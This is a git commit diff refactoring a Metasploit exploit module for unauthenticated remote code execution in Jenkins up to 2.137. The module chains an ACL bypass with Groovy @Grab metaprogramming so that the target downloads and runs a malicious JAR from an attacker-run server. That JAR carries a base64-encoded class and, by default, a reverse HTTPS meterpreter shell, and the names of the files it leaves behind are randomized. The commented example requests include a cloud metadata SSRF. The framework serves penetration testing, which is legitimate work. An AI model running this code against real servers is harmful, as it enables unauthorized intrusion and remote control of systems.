Fix issues and refactor module

master
William Vu 2019-03-16 00:38:48 -05:00
parent 0fa2d985e7
commit 621fa8e4db
1 changed files with 145 additions and 24 deletions

View File

@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
@ -17,6 +18,11 @@ class MetasploitModule < Msf::Exploit::Remote
This module exploits a vulnerability in Jenkins dynamic routing to
bypass the Overall/Read ACL and leverage Groovy metaprogramming to
download and execute a malicious JAR file.
The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work
on later versions of Jenkins.
Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.
},
'Author' => [
'Orange Tsai', # Discovery and PoC
@ -29,7 +35,8 @@ class MetasploitModule < Msf::Exploit::Remote
['EDB', '46427'],
['URL', 'https://jenkins.io/security/advisory/2019-01-08/'],
['URL', 'https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html'],
['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html']
['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html'],
['URL', 'https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc']
],
'DisclosureDate' => '2019-01-08', # Public disclosure
'License' => MSF_LICENSE,
@ -37,9 +44,12 @@ class MetasploitModule < Msf::Exploit::Remote
'Arch' => ARCH_JAVA,
'Privileged' => false,
'Targets' => [
['Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)', {}]
['Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)',
'Version' => Gem::Version.new('2.137')
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_https'},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
@ -49,36 +59,69 @@ class MetasploitModule < Msf::Exploit::Remote
))
register_options([
Opt::RPORT(8080)
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'Base path to Jenkins', '/'])
])
register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
deregister_options('URIPATH')
end
def on_request_uri(cli, request)
vprint_status("#{request.uri} requested")
=begin
http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]
=end
def check
checkcode = CheckCode::Safe
unless request.uri.end_with?('.jar')
vprint_error('Sending 404')
send_not_found(cli)
return
res = send_request_cgi(
'method' => 'GET',
'uri' => go_go_gadget1('/search/index'),
'vars_get' => {'q' => 'a'}
)
unless res && (version = res.headers['X-Jenkins'])
vprint_error('Jenkins not detected')
return CheckCode::Unknown
end
vprint_good('Sending payload JAR')
send_response(
cli,
payload_jar,
'Content-Type' => 'application/java-archive'
)
vprint_status("Jenkins #{version} detected")
checkcode = CheckCode::Detected
if Gem::Version.new(version) > target['Version']
vprint_error("Jenkins #{version} is not a supported target")
return CheckCode::Safe
end
vprint_good("Jenkins #{version} is a supported target")
checkcode = CheckCode::Appears
if res.body.include?('Administrator')
vprint_good('ACL bypass successful')
checkcode = CheckCode::Vulnerable
else
vprint_error('ACL bypass unsuccessful')
return CheckCode::Safe
end
checkcode
end
def exploit
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
# NOTE: Staging payloads over HTTPS doesn't work (yet?)
# HACK: Both HttpClient and HttpServer use datastore['SSL']
ssl = datastore['SSL']
datastore['SSL'] = false
start_service('Path' => '/metasploit/exploit/1.0/exploit-1.0.jar')
start_service('Path' => '/')
datastore['SSL'] = ssl
print_status('Sending Jenkins and Groovy go-go-gadgets')
send_request_cgi(
'method' => 'GET',
'uri' => go_go_gadget1,
@ -86,15 +129,24 @@ class MetasploitModule < Msf::Exploit::Remote
)
end
#
# Exploit methods
#
=begin
http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
?apiUrl=http://169.254.169.254/%23
&login=orange
&password=tsai
=end
def go_go_gadget1
def go_go_gadget1(custom_uri = nil)
# NOTE: See CVE-2018-1000408 for why we don't want to randomize the username
acl_bypass = normalize_uri(target_uri.path, '/securityRealm/user/admin')
return normalize_uri(acl_bypass, custom_uri) if custom_uri
normalize_uri(
'/securityRealm/user/admin', # ACL bypass
acl_bypass,
'/descriptorByName',
'/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile'
)
@ -111,26 +163,72 @@ class MetasploitModule < Msf::Exploit::Remote
def go_go_gadget2
(
<<~EOF
@GrabConfig(disableChecksums=true)
@GrabResolver('http://#{srvhost_addr}:#{srvport}/')
@Grab('metasploit:exploit:1.0')
import Exploit
@Grab('#{vendor}:#{app}:#{version}')
import #{app}
EOF
).strip
end
#
# Payload methods
#
#
# If you deviate from the following sequence, you will suffer!
#
# HEAD /path/to/pom.xml -> 404
# HEAD /path/to/payload.jar -> 200
# GET /path/to/payload.jar -> 200
#
def on_request_uri(cli, request)
vprint_status("#{request.method} #{request.uri} requested")
unless %w[HEAD GET].include?(request.method)
vprint_error("Ignoring #{request.method} request")
return
end
if request.method == 'HEAD'
if request.uri != payload_uri
vprint_error('Sending 404')
return send_not_found(cli)
end
vprint_good('Sending 200')
return send_response(cli, '')
end
if request.uri != payload_uri
vprint_error('Sending bogus file')
return send_response(cli, "#{Faker::Hacker.say_something_smart}\n")
end
vprint_good('Sending payload JAR')
send_response(
cli,
payload_jar,
'Content-Type' => 'application/java-archive'
)
# XXX: $HOME may not work in some cases
register_dir_for_cleanup("$HOME/.groovy/grapes/#{vendor}")
end
def payload_jar
jar = payload.encoded_jar
jar.add_file('Exploit.class', exploit_class)
jar.add_file("#{app}.class", exploit_class)
jar.add_file(
'META-INF/services/org.codehaus.groovy.plugins.Runners',
'Exploit' # Exploit.class
"#{app}\n"
)
jar.pack
end
=begin
=begin javac Exploit.java
import metasploit.Payload;
public class Exploit {
@ -143,7 +241,7 @@ class MetasploitModule < Msf::Exploit::Remote
}
=end
def exploit_class
Rex::Text.decode_base64(
klass = Rex::Text.decode_base64(
<<~EOF
yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYB
AARDb2RlAQANU3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNq
@ -154,6 +252,29 @@ class MetasploitModule < Msf::Exploit::Remote
AAAA
EOF
)
# Replace length-prefixed string "Exploit" with a random one
klass.sub(/.Exploit/, "#{[app.length].pack('C')}#{app}")
end
#
# Utility methods
#
def payload_uri
"/#{vendor}/#{app}/#{version}/#{app}-#{version}.jar"
end
def vendor
@vendor ||= Faker::App.author.split(/[^[:alpha:]]/).join
end
def app
@app ||= Faker::App.name.split(/[^[:alpha:]]/).join
end
def version
@version ||= Faker::App.semantic_version
end
end